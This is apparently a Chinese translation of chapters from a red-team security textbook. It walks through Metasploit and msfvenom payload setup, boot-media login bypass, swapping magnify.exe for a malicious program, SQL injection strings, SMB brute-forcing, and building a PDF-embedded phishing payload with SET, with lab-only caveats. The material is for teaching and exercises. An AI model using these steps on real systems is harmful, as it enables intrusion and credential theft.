结构化异常处理SEH)是一种异常处理机制,几乎所有程序中都包含该机制,以增强程序的健壮性和可靠性。它用于处理多种类型的错误和应用程序正常执行过程中发生的任何异常。当应用程序的异常处理程序被篡改时,发生 SEH 攻击,导致应用程序被强制关闭。黑客通常攻击 SEH 的逻辑,使其修复不存在的错误,并导致系统优雅地关闭。这个技术有时与缓冲区溢出一起使用,以确保被溢出导致崩溃的系统能被关闭,从而防止不必要的过度损害。

在接下来的部分,我们将讨论一些黑客攻陷系统的常见方式。重点将放在如何使用基于 Linux 的工具攻陷 Windows 操作系统,因为大多数计算机和相当一部分服务器都运行在 Windows 上。讨论的攻击将从 BackTrack 5 发起,这是一款专注于安全的 Linux 发行版。黑客和渗透测试人员通常使用该发行版来攻陷系统。部分将在前一章节中讨论过的工具也会在这里提及。

执行攻陷系统的步骤

蓝队的主要任务之一是充分理解网络杀伤链,以及如何将其用于攻击一个组织的基础设施。另一方面,红队可以通过模拟演练来识别漏洞,演练的结果有助于提升组织的整体安全态势。

需要遵循的核心宏步骤如下:

  1. 部署有效负载

  2. 妥协操作系统

  3. 妥协基于网页的系统

请注意,这些步骤会根据攻击者的任务或红队的目标演练有所不同。这里的目的是为您提供一个核心计划,您可以根据组织的需要进行定制。

部署有效负载

假设整个公开的侦察过程已经完成,您现在需要构建一个能够利用系统中现有漏洞的有效载荷。接下来的部分将介绍一些您可以实现的策略,以执行此操作。

安装并使用漏洞扫描器

在这里,我们选择了 Nessus 漏洞扫描器。如前所述,任何攻击都必须从扫描或嗅探工具开始,这些工具是侦察阶段的一部分。Nessus 可以通过 Linux 终端使用命令 apt-get install Nessus 安装在黑客的机器上。安装 Nessus 后,黑客需要创建一个账户,以便以后登录使用该工具。然后,该工具在 BackTrack 上启动,可以通过任何网络浏览器从本地主机(127.0.0.1)上的端口 8834 访问。该工具要求在打开它的浏览器中安装 Adobe Flash。之后,它会弹出一个登录提示,允许黑客登录并使用工具的全部功能。

在 Nessus 工具中,菜单栏有一个扫描功能。用户在此输入要扫描的目标的 IP 地址,然后启动立即扫描或延迟扫描。工具在扫描完成后,会生成报告,显示每个被扫描主机的结果。它会将漏洞按高、中、低优先级分类,并列出可被利用的开放端口数。高优先级的漏洞通常是黑客的攻击目标,因为它们可以轻松为黑客提供如何使用攻击工具利用系统的相关信息。此时,黑客会安装攻击工具,以便利用 Nessus 工具或其他扫描工具识别出的漏洞。

下图显示了 Nessus 工具的截图,展示了之前扫描目标的漏洞报告:

使用 Metasploit

选择 Metasploit 作为攻击工具是因为大多数黑客和渗透测试人员使用它。它也很容易访问,因为它已经预安装在 BackTrack Linux 发行版以及 Kali 中。由于不断有新的漏洞被添加到框架中,大多数用户在每次使用时都会更新它。可以通过在终端输入命令 msfconsole 启动框架的控制台。

msfconsole 拥有大量可以用来攻击通过前述扫描工具已经识别的漏洞的漏洞利用程序和有效载荷。框架中有一个搜索命令,可以帮助用户缩小搜索范围,找到特定的漏洞利用程序。一旦识别出特定的漏洞利用程序,所需做的就是输入命令和该漏洞利用程序的位置。

然后使用以下命令设置有效载荷(payload):

windows/meterpreter/Name_of_payload  

执行此命令后,控制台将请求目标的 IP 地址并部署负载。负载是目标将遭遇的实际攻击。以下讨论将专注于一种可以针对 Windows 使用的攻击。

以下图示显示了 Metasploit 在虚拟机上运行,尝试攻击一台也运行在虚拟环境中的 Windows 计算机:

另一种生成负载的方式是使用msfvenom命令行界面。Msfvenom 将 msfpayload 和 msfencode 结合在一个框架中。在这个示例中,我们为 Windows 命令行外壳生成一个反向 TCP 启动器。首先选择平台(-p windows),使用本地 IP 地址作为监听 IP(192.168.2.2),端口45作为监听端口,并将可执行文件dio.exe作为攻击的一部分:

一旦负载被创建,你可以使用本章前面提到的一种方法来分发它,包括最常见的:钓鱼邮件。

危及操作系统

攻击的第二部分是危及操作系统。这里有很多可用的方法,目的是为你提供一些选项,你可以根据需要调整这些方法。

使用 Kon-Boot 或 Hiren's BootCD 危及系统

该攻击危及 Windows 登录功能,允许任何人轻松绕过密码提示。有很多工具可以用来实现这一点,最常见的两个工具是 Konboot 和 Hiren's Boot。这两个工具的使用方式相同,但它们都需要用户物理接近目标计算机。黑客可以通过社交工程技术获取组织计算机的访问权限。如果黑客是内鬼,事情就更加容易了。内鬼威胁是指在组织内部工作并怀有恶意意图的人;内鬼威胁的优势在于他们能接触到组织内部的信息,因此知道具体攻击的目标。两个黑客工具的工作方式相同。黑客只需从他们持有的设备(如 U 盘或 DVD)启动系统,就能跳过 Windows 认证,直接进入桌面。

从这里,黑客可以自由安装后门、键盘记录器和间谍软件,甚至使用被攻陷的机器远程登录服务器。他们还可以从被攻陷的机器及网络中的其他机器复制文件。攻击链会随着机器的被攻陷而延长。这些工具对 Linux 系统也有效,但这里的主要关注点是 Windows,因为它有很多用户。这些工具可以在黑客网站上下载,并且有一个免费的版本,仅能攻击较旧版本的 Windows。

以下图示显示了 Konboot 黑客工具的启动画面:

使用 Linux Live CD 攻破系统

前面的话题讨论了使用可以绕过 Windows 认证的工具,借此可以做很多事情,比如窃取数据。然而,这款工具的免费版本无法攻破 Windows 的后续版本。然而,还有一种更简单、更便宜的方法,可以在不绕过认证的情况下从任何 Windows 计算机复制文件。Linux Live CD 使人能够直接访问 Windows 计算机中的所有文件。做这件事出奇地简单,而且完全免费。所需要的仅仅是黑客拥有一份 Ubuntu Desktop 的副本。与之前讨论的工具类似,黑客需要物理接近目标计算机。这也是为什么内部威胁最容易执行这种攻击的原因,因为他们已经知道理想目标的物理位置。黑客需要将目标计算机从包含 Linux Desktop 启动镜像的 DVD 或 U 盘引导,并选择“尝试 Ubuntu”而不是“安装 Ubuntu”。Linux Live CD 将启动进入 Ubuntu Desktop。在家庭文件夹的设备下,所有 Windows 文件都会列出,黑客可以轻松复制它们。除非硬盘已加密,否则所有用户文件将以明文显示。不小心的用户通常会将包含密码的文本文件保存在桌面上。这些文件以及 Windows 文件所在磁盘上的任何其他文件都可以被黑客访问和/或复制。在这种简单的攻击中,可以窃取大量信息。该方法的优势在于,当进行取证时,Windows 不会有任何文件被复制的日志——这是之前讨论的工具无法隐藏的。

下图显示了 Ubuntu Desktop 操作系统(23)的截图。

利用预安装应用程序攻破系统

这更像是对之前微软 Windows 操作系统妥协的延伸。它同样使用 Linux Live CD 来访问运行 Windows 的计算机上的文件。在之前的攻击中,目标只是复制数据。

在这个攻击中,目的是攻破 Windows 程序。一旦通过 Live CD 获得访问权限,黑客只需导航到 Windows 文件夹,并点击System32文件夹。这是 Windows 存储自己应用程序的文件夹,通常这些应用程序是预安装的。黑客可以修改一些常用的应用程序,使得当 Windows 用户运行它们时,执行的却是恶意操作。这个讨论将集中在放大工具上,放大工具用于放大图片、扩大屏幕上的文本,或者在浏览器中使用。放大程序位于System32文件夹中,名为magnify.exe。该文件夹中的任何其他工具都可以用来实现相同的结果。需要删除真实的 magnify.exe,并用恶意程序替换它,并将其重命名为 magnify.exe。完成后,黑客可以退出系统。当 Windows 用户打开电脑并执行运行放大工具的操作时,恶意程序会代替正常程序运行,并立即开始加密电脑的文件。用户不会知道是什么导致了他们文件的加密。

或者,这项技术还可以用来攻击密码锁定的电脑。可以删除放大工具,并用命令提示符的副本替代。在这种情况下,黑客需要重新启动并加载 Windows 操作系统。放大工具通常被放置在一个方便的位置,使得用户无需登录电脑就能访问它。命令提示符可以用来创建用户、打开浏览器等程序,或者创建后门以及执行其他许多黑客操作。黑客还可以从命令点调用 Windows 资源管理器,在这种情况下,它将加载 Windows 用户界面,并且登录为名为 SYSTEM 的用户,仍处于登录屏幕上。该用户具有更改其他用户密码、访问文件以及进行系统更改等权限。对于在域中根据工作角色分配权限的用户来说,这通常非常有用。

Konboot 和 Hiren's boot 只会让黑客无需身份验证就能打开用户账户。而这种技术则允许黑客访问正常用户账户可能由于权限不足而无法访问的功能。

使用 Ophcrack 攻破系统

该技术与 Konboot 和 Hiren's boot 在用来破解基于 Windows 的计算机时非常相似。因此,它要求黑客必须物理接触目标计算机。这也突显了使用内部威胁来实施大多数此类攻击的重要性。此技术使用一种名为 Ophcrack 的免费工具,用于恢复 Windows 密码。该工具可以免费下载,但其效果与 Konboot 和 Hiren's boot 的付费版本一样强大。要使用该工具,黑客需要将其烧录到 CD 上或复制到可启动的 USB 闪存驱动器中。目标计算机需要启动 Ophcrack,以便从 Windows 存储的哈希值中恢复密码。该工具将列出所有用户帐户,并逐一恢复各自的密码。对于简单的密码,恢复时间不到一分钟。这个工具非常有效,甚至能够恢复长且复杂的密码。

下图展示了 Ophcrack 恢复某个计算机用户密码的过程:

远程攻破系统

之前的攻击针对的是本地系统,黑客需要亲自到场才能破解目标设备。然而,黑客并不总是能够有机会靠近目标。在一些公司,为了限制人员对某些计算机的访问,采取了严格的措施,因此内部威胁可能无法发挥作用。这也是远程攻破系统变得尤为重要的原因。要远程攻破系统,需要两种黑客工具和一种技术。黑客必须掌握的技术是社交工程。上一章详细讨论了社交工程,解释了黑客如何成功地伪装成他人并有效地获取敏感信息。

所需的两种工具是 Nessus 扫描器(或其等效工具)和 Metasploit。通过社交工程,黑客应能够获取信息,比如有价值目标的 IP 地址。然后,可以使用网络扫描器(如 Nessus)扫描并识别该有价值目标的漏洞。接下来,使用 Metasploit 远程攻破目标。所有这些工具在上一章节中都有讨论。还有许多其他扫描和利用工具,可以按照相同的步骤执行并进行攻击。

一种替代方法是使用 Windows 内置的远程桌面连接功能。然而,这要求黑客已经攻破了组织网络中的一台机器。之前讨论的许多针对 Windows 操作系统的攻击技术适用于攻击的第一阶段;它们可以确保攻击者能够访问 Windows 的远程桌面连接功能。通过社会工程学或网络扫描获得的信息,黑客将知道服务器或其他有价值设备的 IP 地址。远程桌面连接将允许黑客从被攻破的计算机打开目标服务器或计算机。一旦通过该连接进入服务器或计算机,黑客就可以执行一系列恶意操作。黑客可以创建后门以便以后登录目标,服务器可以复制有价值的信息,黑客还可以安装恶意软件,使其能在网络中传播。

讨论的攻击方式突出了机器可能被攻破的一些途径。除了计算机和服务器,黑客还可以利用基于网络的系统。

接下来的主题将讨论黑客非法访问基于网络的系统的方式。它还将讨论黑客如何操纵系统的机密性、可用性和完整性。

攻破基于网络的系统

几乎所有的组织都有网络存在。一些组织通过其网站向在线客户提供服务或销售产品。像学校这样的组织拥有在线门户,帮助它们管理信息并以多种方式向不同的用户展示这些信息。黑客早在很久以前就开始攻击网站和基于网络的系统,但那时只是为了好玩。如今,基于网络的系统包含着非常宝贵和敏感的数据。

黑客们盯上这些数据,盗取它们并卖给其他方,或者勒索巨额赎金。有时,竞争对手会找黑客来迫使他们竞争对手的网站无法使用。网站有多种方式可能被攻破。接下来的讨论将重点介绍最常见的几种方式。

一个重要的建议是始终查看 OWASP 前十项目(OWASP Top 10 Project),了解最新的最关键网络应用列表。欲了解更多信息,请访问www.owasp.org

SQL 注入

这是一种代码注入攻击,针对的是在 PHP 和 SQL 编写的网站后端执行用户提供的输入。尽管这可能是一个过时的攻击方式,但一些组织仍然过于疏忽,随便聘请任何人来为他们制作企业网站。一些组织甚至运行着容易受到此攻击的老旧网站。黑客提供的输入可以操控 SQL 语句的执行,导致后端出现漏洞并暴露底层数据库。SQL 注入可以用来读取、修改或删除数据库及其内容。为了执行 SQL 注入攻击,黑客需要创建一个有效的 SQL 脚本并将其输入到任何输入字段中。常见示例包括 "or "1"="1" or "a"="a,这些脚本可以欺骗后端运行的 SQL 代码。本质上,上述脚本的作用是结束预期的查询并插入一个有效的语句。如果是在登录字段中,后端开发人员会编写 SQL 和 PHP 代码来检查用户在用户名和密码字段中输入的值是否与数据库中的匹配。而脚本 'or '1'='1 则告诉 SQL 要么结束比较,要么检查是否为“1”=“1”。黑客还可以加入更具恶意的代码,如 selectdrop 命令,这可能会导致数据库泄露其内容或删除表格。

跨站脚本攻击(XSS)

这是一种类似于 SQL 注入的攻击,其目标使用 JavaScript 代码。与 SQL 注入不同,这种攻击在网站的前端运行并动态执行。如果网站的输入字段没有经过清理,它就会利用这些字段。黑客使用 XSS 脚本来窃取 Cookies 和会话,或者显示警告框。XSS 脚本可以通过不同方式进行,具体包括存储型 XSS、反射型 XSS 和基于 DOM 的 XSS。

存储型 XSS 是 XSS 脚本的一种变体,黑客希望将恶意 XSS 脚本存储在页面的 HTML 或数据库中。当用户加载受影响的页面时,这些脚本会执行。在论坛中,黑客可能会注册一个账户,并在其中嵌入恶意 JavaScript 代码。

这段代码将被存储在数据库中,但当用户加载论坛会员的网页时,XSS 将执行。其他类型的 XSS 脚本容易被新版浏览器捕获,因此已变得无效。你可以在 excess-xss.com 查看更多 XSS 攻击示例。

身份验证漏洞

这是在公共计算机上常见的攻击,尤其是在网吧等场所。这些攻击目标是机器,因为网站会在物理计算机上建立会话并存储 Cookies,但当用户关闭浏览器而未退出登录时,它们并不会被删除。在这种情况下,黑客不需要做太多的事情,只需打开浏览器历史记录中的网站,便能窃取已登录账户的信息。在这种类型的黑客攻击的另一种变种中,黑客会密切关注社交媒体或聊天论坛中用户发布的链接。有些会话 ID 嵌入在浏览器的 URL 中,一旦用户共享带有 ID 的链接,黑客便可利用该链接访问账户,进而发现有关用户的私人信息。

DDoS 攻击

这些攻击通常针对大型公司。正如前文所述,黑客正在越来越多地通过感染的计算机和物联网设备来控制僵尸网络。僵尸网络由已感染恶意软件的计算机或物联网设备组成,这些设备被转变为“代理”。这些代理由黑客创建的控制程序所控制,黑客通过这些控制程序来指挥大量的“机器人”。控制程序是连接黑客与代理之间通信的计算机。已经被感染并转化为代理的计算机的所有者可能并不知道它们的计算机已经变成了“机器人”:

为了执行 DDoS 攻击,黑客指示控制程序向所有代理发送命令,要求它们向特定的 IP 地址发送请求。对于一个网络服务器来说,这些请求超出了其处理能力,导致服务器宕机。DDoS 攻击的主要目的通常是使服务器瘫痪,或是制造混乱,为实施其他恶意行为如窃取数据提供掩护。

参考文献

  1. S. Layak, 勒索病毒:新千年互联网的敲诈者, 《经济时报》(在线),2017 年。可用:search.proquest.com/docview/1900413817

  2. Wallenstrom.(7 月 5 日)。减少非恶意威胁的危害。可用:search.proquest.com/docview/1916016466

  3. N. Lomas.(8 月 19 日)。完整的 Ashley Madison 被黑数据显然被发布到 Tor 网络上。可用:search.proquest.com/docview/1705297436

  4. S. Writer, QNB 黑客涉嫌破坏 Sharjah 银行数据泄露事件, Arabianbusiness.com, 2016 年。可用:search.proquest.com/docview/1787557261

  5. J. Stein, 中国间谍案件如何变成了一个男人的儿童色情噩梦, 《新闻周刊》,2016 年。可用:search.proquest.com/docview/1793546676

  6. J. Melrose, 网络安全保护进入新纪元, 《控制工程》,2016 年。可用:search.proquest.com/docview/1777631974

  7. F. Y. Rashid,听着,FBI:Juniper 代码揭示了后门问题,InfoWorld.Com,2015 年。可用链接:search.proquest.com/docview/1751461898

  8. 2017 年互联网安全威胁报告,Symantec.com,2017 年。[在线]。可用链接:www.symantec.com/security-center/threat-report。[访问日期:2017 年 7 月 29 日]

  9. M. Burns。(2017 年 3 月 7 日)。涉嫌 CIA 泄露再次证明智能电视的危险性。可用链接:search.proquest.com/docview/1874924601

  10. B. Snyder,如何判断你的智能电视是否能监视你,Cio,2017 年。可用链接:search.proquest.com/docview/1875304683

  11. W. Leonhard,“影子经纪人”威胁发布更多来源于 NSA 的恶意软件,InfoWorld.Com,2017 年。可用链接:search.proquest.com/docview/1899382066

  12. P. Ziobro,Target 现表示数据泄露影响 7000 万人;Neiman Marcus 也表示其客户数据被黑,《华尔街日报》(在线),2014 年。可用链接:search.proquest.com/docview/1476282030

  13. S. Banjo 和 D. Yadron,家得宝被以前未见过的“莫扎特”恶意软件黑客攻击;机构警告零售商此软件曾用于今年早些时候对家装零售商的攻击,《华尔街日报》(在线),2014 年。可用链接:search.proquest.com/docview/1564494754

  14. L. Saunders,美国新闻:IRS 表示更多账户被黑,《华尔街日报》,2016 年。可用链接:search.proquest.com/docview/1768288045

  15. M. Hypponen,加入打击互联网诈骗的战争,CIO Canada,第 14 卷,(10),第 1 页,2006 年。可用链接:search.proquest.com/docview/217426610

  16. A. Sternstein,漏洞猎人的秘密世界,《基督教科学箴言报》,2017 年。可用链接:search.proquest.com/docview/1867025384

  17. D. Iaconangelo,“影子经纪人”新一轮 NSA 数据泄露:这与政治还是钱有关?,《基督教科学箴言报》,2016 年。可用链接:search.proquest.com/docview/1834501829

  18. C. Bryant,对“零日”攻击的重新思考引发网络安全警惕,金融时报,第 7 页,2014 年。可用链接:search.proquest.com/docview/1498149623

  19. B. Dawson,结构化异常处理,《游戏开发者》,第 6 卷,(1),第 52-54 页,2009 年。可用链接:search.proquest.com/docview/219077576

  20. 高度安全环境的渗透测试, Udemy, 2017. [在线]. 可用链接: www.udemy.com/advanced-penetration-testing-for-highly-secured-environments/. [访问日期: 2017 年 7 月 29 日]

  21. 专家级 Metasploit 渗透测试, Packtpub.com, 2017. [在线]. 可用链接: www.packtpub.com/networking-and-servers/expert-metasploit-penetration-testing-video. [访问日期: 2017 年 7 月 29 日]

  22. Koder, 无需知道密码即可登录任何受密码保护的 Windows 机器 | IndiaWebSearch.com, Indiawebsearch.com, 2017. [在线]. 可用链接: indiawebsearch.com/content/logon-to-any-password-protected-windows-machine-without-knowing-the-password. [访问日期: 2017 年 7 月 29 日]

  23. W. Gordon, 如何突破 Windows PC(并防止发生在你身上), Lifehacker.com.au, 2017. [在线]. 可用链接: www.lifehacker.com.au/2010/10/how-to-break-into-a-windows-pc-and-prevent-it-from-happening-to-you/. [访问日期: 2017 年 7 月 29 日]

  24. 像专家一样破解密码:第一部分(原理与技术), WonderHowTo, 2017. [在线]. 可用链接: null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-1-principles-technologies-0156136/. [访问日期: 2017 年 7 月 29 日]

摘要

本章讨论了系统被攻破的多种方式。它探讨了黑客如何破坏操作系统,并解释了可用于针对易受攻击目标部署有效载荷的工具。它还研究了远程系统是如何被攻破的,并解释了入侵基于 Web 的系统的常见方法。我们还讨论了钓鱼攻击、漏洞利用、零日攻击以及用于攻破系统的最常见软件。本章还为您提供了与所讨论的工具的替代方案。

下一章将讨论横向移动,重点介绍黑客在攻破系统后如何在系统中移动。该章将讨论攻击者如何找到进入系统其他部分的路径,如何避免被检测,并进一步讲解黑客执行横向移动的方式。

第六章:追踪用户的身份

在上一章中,你学习了不同的技巧,可以用来攻破系统。然而,在当前的威胁环境中,被盗用的凭证正被用来进一步攻破系统和网络。根据 Verizon 2016 年发布的数据泄露调查报告,63%的确认数据泄露事件发生在由于密码弱、默认设置或被盗的情况下,这一现象主要是因为大量攻击瞄准了用户的凭证。这个威胁环境促使企业制定新的策略,以增强用户身份的整体安全性。

在本章中,我们将覆盖以下主题:

  • 身份是新的边界

  • 攻破用户身份的策略

  • 黑客攻击用户身份

身份是新的边界

正如在第一章中简要解释的那样,安全态势,保护身份的措施必须得到加强,这也是业界普遍认同身份是新的安全边界的原因。每当一个新的凭证被创建时,这个凭证大多数时候只是由用户名和密码组成。虽然多因素认证正逐渐流行,但它仍然不是用来验证用户的默认方法。此外,还有很多依赖用户名和密码才能正常工作的遗留系统。

凭证盗窃在不同的场景中正成为一个日益增长的趋势,例如:

  • 企业用户:试图访问公司网络并希望悄无声息地渗透其中的黑客。实现这一目标的最佳方式之一就是使用有效的凭证进行身份验证,并成为网络的一部分。

  • 家庭用户:许多银行木马病毒,如 Dridex 家族,仍然在活跃使用,因为它们针对的是用户的银行凭证,而银行凭证是黑客最关心的地方。

当前身份威胁环境的问题在于,家庭用户也同时是企业用户,他们将自己的设备带入企业环境,使用这些设备访问公司数据。现在你面临的情形是,一个用户的个人应用身份与其企业凭证存在于同一设备中,而后者用于访问公司相关的数据。

用户处理多种凭证的一个问题是,用户可能会对这些不同服务使用相同的密码。

举个例子,一个用户在他的云端电子邮件服务和公司域凭证中使用相同密码,这将帮助黑客,因为他们只需要识别用户名,一旦破解一个密码,所有的密码都将相同。如今,浏览器被用作用户消费应用程序的主要平台,而浏览器的漏洞可以被利用来窃取用户凭证。类似的情形发生在 2017 年 5 月,当时谷歌 Chrome 浏览器发现了一个漏洞。

虽然这个问题似乎与最终用户和企业有关,但现实情况是没有人是安全的,任何人都可能成为目标,甚至是政治人物。2017 年 6 月,《泰晤士报》披露的一起攻击事件中,报道称英国政府教育部长贾斯廷·格林宁和商务部长格雷格·克拉克的电子邮件地址和密码,正是被盗取的成千上万名政府官员凭证中的一部分,之后这些凭证被出售到暗网。被盗凭证的问题不仅仅在于利用这些凭证访问特权信息,还可以用来发起针对性的鱼叉式钓鱼攻击。下图展示了被盗凭证的使用示例:

上图所示工作流程中一个有趣的部分是,黑客实际上不需要为发动攻击准备完整的基础设施。如今,他们只需租用属于他人的机器人即可。这一策略在 2016 年物联网 DDoS 攻击中曾被使用,根据 ZingBox 的报告,“50,000 个机器人的攻击持续时间为 3600 秒(1 小时),且 5-10 分钟冷却时间的租赁费用大约为每两周 3,000 到 4,000 美元。”

随着云计算的增长,使用云服务提供商身份管理系统的软件即服务SaaS)应用程序数量也在增加,这意味着更多的 Google 账户、更多的 Microsoft Azure 账户等等。这些云服务商通常提供双因素认证,以增加一层保护。然而,最薄弱的环节仍然是用户,这意味着这一系统并非铁壁防御。尽管可以说双因素认证增强了认证过程的安全性,但事实证明,它是可以被破解的。

一个著名的双因素认证被突破的例子涉及活动家 DeRay Mckesson。黑客致电 Verizon,并通过社交工程技巧假装自己是 Mckesson,骗过了客服人员,称他的手机出现了问题。他们说服 Verizon 的技术人员重置了他的 SIM 卡。然后他们用手中的手机激活了新的 SIM 卡,当短信到达时,黑客成功获取了验证码,结果也就此结束。

攻击用户身份的策略

如你所见,身份在黑客如何获得系统访问权限并执行任务中扮演了重要角色,而任务大多数情况下是访问特权数据或劫持这些数据。红队必须意识到所有这些风险,并了解如何在攻击演练中加以利用。因此,在开始行动之前,制定攻击计划非常重要。这个计划应考虑当前的威胁形势,涵盖三个阶段:

第一阶段红队将研究公司面临的不同对手。换句话说,谁有可能攻击我们?回答这个问题的第一步是进行自我评估,了解公司拥有哪些类型的信息,以及哪些人会从获取这些信息中受益。你可能无法列出所有对手,但至少能够创建一个基本的对手画像,并基于此进入下一个阶段。

第二阶段红队将研究这些对手常用的攻击方式。记住,很多这些组织有着一定的攻击模式。虽然无法完全保证他们会使用相同的技术,但他们可能会使用类似的工作流程。通过理解攻击的类别以及它们的产生方式,你可以在演练中尝试模仿类似的攻击。

最后一阶段再次以研究开始,但这一次是为了理解这些攻击是如何执行的,执行的顺序,以及其他相关细节。

这里的目标是从这一阶段中学习,并在演练过程中应用这些知识。红队在此阶段的任务仅仅是尽量与现实情况相符。如果红队没有明确目标,且没有足够证据证明其他黑客组织可能会进行类似攻击,那么演练就没有实际意义。

规划阶段的另一个重要方面是要理解,攻击者如果第一次尝试渗透失败,他们不会停止攻击,反而可能会再次攻击,这一次使用不同的技术,直到成功突破。红队必须以黑客的心态行动,尽管初次失败,依然要继续执行任务。

红队需要定义一些策略,以获取用户凭证,并在网络中继续攻击,直到任务完成。在大多数情况下,任务是获取特权信息。因此,在开始演练之前,明确任务目标非常重要。所有的努力必须同步和有序,否则会增加被发现的风险,蓝队将获胜。

需要记住的是,这是创建攻击演练的一种建议方式。每家公司都应进行自我评估,并根据评估结果,设计符合自身现实的演练。

获取网络访问权限

规划过程的一部分是获取用户凭证并了解如何从外部(外部互联网)访问内部网络。最成功的攻击之一仍然是老式的钓鱼电子邮件。这个攻击之所以如此成功,是因为它利用了社会工程学技术来诱使最终用户执行特定操作。在创建带有恶意掉落程序的精心制作的电子邮件之前,建议通过社交媒体进行侦察,试图了解目标用户在工作之外的行为。尝试识别以下内容:

  • 兴趣爱好

  • 他/她通常签到的地点

  • 喜欢的食物

  • 常访问的站点

这里的目的是能够创建一封与这些主题相关的精心制作的电子邮件。通过制定一封与用户日常活动相关的电子邮件,你在增加该用户阅读电子邮件并执行期望操作的可能性。

收集凭证

如果在侦察过程中你已经发现了可能导致凭证利用的未修补漏洞,这可能是最容易采取的路径。

例如,如果目标计算机易受 CVE-2017-8563 漏洞的攻击(该漏洞由于 Kerberos 回退到 NTLM 身份验证协议,允许特权提升漏洞),那么执行特权升级将更容易,并且可能获得对本地管理员账户的访问权限。大多数攻击者会在网络中进行横向移动,尝试获取具有系统特权访问权限的账户,因此红队也应采用相同的方法。

一种在 Hernan Ochoa 发布 Pass-The-Hash 工具包后获得流行的攻击是传递哈希攻击。要理解这种攻击如何工作,您需要理解密码有一个哈希值,这个哈希值是密码本身的直接单向数学衍生物,只有当用户更改密码时才会改变。根据身份验证的方式,可能会将密码哈希值而不是明文密码作为证明用户身份的凭证提交给操作系统。一旦攻击者获得这个哈希值,他可以使用它假冒用户(受害者)的身份,并在网络中继续进行攻击。

横向移动对妥协环境中的更多机器非常有用,它也可以用来在系统之间跳跃,收集更有价值的信息。

记住,任务是获取敏感数据,有时你不需要进入服务器就能获取这些数据。

在之前的图像中,Alex 对 Sandra 的计算机进行了横向移动,并从 Sandra 的计算机提升了特权到 Web 服务器。这是可能的,因为在 Sandra 的工作站中有另一个用户具有该服务器的管理员访问权限。

需要强调的是,攻击者在本地窃取的账户不能在进一步的攻击中使用。以之前的示意图为例,如果域管理员账户从未在 Alex 和 Sandra 的工作站上进行身份验证,那么该账户将无法被已攻陷这些工作站的攻击者使用。

如前所述,要成功执行通过哈希值攻击,必须获得具有管理员权限的 Windows 系统账户。一旦红队获取了本地计算机的访问权限,他们可以尝试从以下位置窃取哈希值:

  • 安全账户管理器SAM)数据库

  • 本地安全机构子系统LSASS)进程内存

  • 域活动目录数据库(仅限域控制器)

  • 凭证管理器CredMan)存储

  • 注册表中的本地安全机构LSA)机密信息

在下一节中,你将学习如何在实验室环境中执行这些操作,然后再进行攻击演练。

黑客攻击用户身份

现在你已经了解了策略,是时候进行一些动手操作了。但是在此之前,以下是一些重要的注意事项:

  1. 请勿在生产环境中执行这些步骤

  2. 创建一个隔离的实验室以测试任何类型的红队操作

  3. 一旦所有测试完成并验证无误,确保制定自己的计划,在生产环境中重新执行这些任务,作为红队攻击演练的一部分

  4. 在执行攻击演练之前,确保已获得经理的同意,并且整个指挥链都知道此次演练。

以下测试可应用于本地环境,也可以应用于位于云中的虚拟机(IaaS)。

暴力破解

第一个攻击演练可能是最旧的,但它仍然有效,可以测试防御控制的两个方面:

  • 你的监控系统的准确性:由于暴力破解攻击可能产生噪声,因此预计你的防御安全控制能够在活动发生时捕获这些行为。如果没有捕获到,那么你的防御策略就存在严重问题。

  • 你的密码策略有多强?:如果你的密码策略较弱,那么很可能这次攻击将能够获取许多凭证。如果真的获取到了,你将面临另一个严重问题。

本次演练假设攻击者已经是网络的一部分,可能是内部威胁尝试窃取用户凭证以达到恶意目的。

在运行 Kali 的 Linux 计算机上,打开“应用程序”菜单,点击“Exploitation Tools”,然后选择 metasploit-framework:

当 Metasploit 控制台打开时,输入use exploit/windows/smb/psexec,你的提示符将会改变,如下图所示:

现在,再次切换提示符,因为你将使用 SMB 登录扫描器。为此,输入use auxiliary/scanner/smb/smb_login。使用命令set rhosts <target>配置远程主机,使用命令set smbuser <username>配置你想要攻击的用户,并确保通过使用命令set verbose true开启详细模式。

一旦完成所有这些,你可以按照以下截图中的步骤操作:

如你所见,命令序列很简单。攻击的威力依赖于密码文件。如果这个文件包含大量组合,你就增加了成功的可能性,但也会花费更多时间,并可能由于大量的 SMB 流量触发监控系统的警报。如果由于某种原因触发了警报,作为红队成员,你应该撤退并尝试其他方法。

社交工程

下一个练习从外部开始。换句话说,攻击者来自互联网,并通过访问系统来执行攻击。一种方法是将用户引导到一个恶意网站,从而获取用户身份。

另一种常用的方法是发送一封钓鱼邮件,安装一段恶意软件到本地计算机。由于这是最有效的方法之一,我们将使用这个方法来做示范。为了准备这封精心制作的邮件,我们将使用社交工程工具包SET),该工具包随 Kali 一起提供。

在运行 Kali 的 Linux 计算机上,打开应用菜单,点击“利用工具”,并选择社交工程工具包:

在这个初始屏幕上,你有六个选项可以选择。由于目的是创建一封用于社交工程攻击的精心制作的电子邮件,选择选项 1,你将看到以下屏幕:

在此屏幕上选择第一个选项,这将允许你开始创建一封精心制作的电子邮件,用于你的目标钓鱼攻击:

作为红队成员,你可能不想使用第一个选项(大规模电子邮件攻击),因为你已经在侦查过程中通过社交媒体获得了非常具体的目标。

出于这个原因,此时的正确选择是第二个(有效载荷)或第三个(模板)。为了本例的目的,你将使用第二个选项:

假设在你的侦查过程中,你注意到目标用户使用大量的 PDF 文件,这使得他成为打开带有 PDF 附件的电子邮件的非常合适人选。在这种情况下,选择选项 16(Adobe PDF 嵌入式 EXE 社交工程),你将看到以下屏幕:

你在此处选择的选项取决于是否有 PDF 文件。如果你作为红队成员有一个精心制作的 PDF,选择选项 1,但为了本示例的目的,选择选项 2 使用内置的空白 PDF 进行此攻击。选择该选项后,以下屏幕将出现:

选择选项 2,并按照交互式提示输入你的本地 IP 地址作为LHOST,以及连接此主机时使用的端口:

现在,你想显得酷一些,选择第二个选项自定义文件名。在此情况下,文件名将是financialreport.pdf。输入新名称后,以下是可用选项:

由于这是一个特定目标的攻击,并且你已经知道受害者的电子邮件地址,选择第一个选项:

在这种情况下,我们将选择状态报告,选择此选项后,你需要提供目标的电子邮件和发件人的电子邮件。注意,在此情况下,我们使用的是第二个选项,即 Gmail 账户:

到此为止,文件financialreport.pdf已经保存在本地系统中。你可以使用命令ls来查看该文件的位置,具体如下截图所示:

这个 60 KB 的 PDF 文件足够让你访问用户的命令提示符,从那里你可以使用mimikatz来破解用户凭证,正如你将在下一部分中看到的那样。

如果你想评估此 PDF 的内容,可以使用来自www.malwaretracker.com/pdfsearch.php的 PDF 检查器。将 PDF 文件上传到此站点,点击提交并检查结果。核心报告应如下所示:

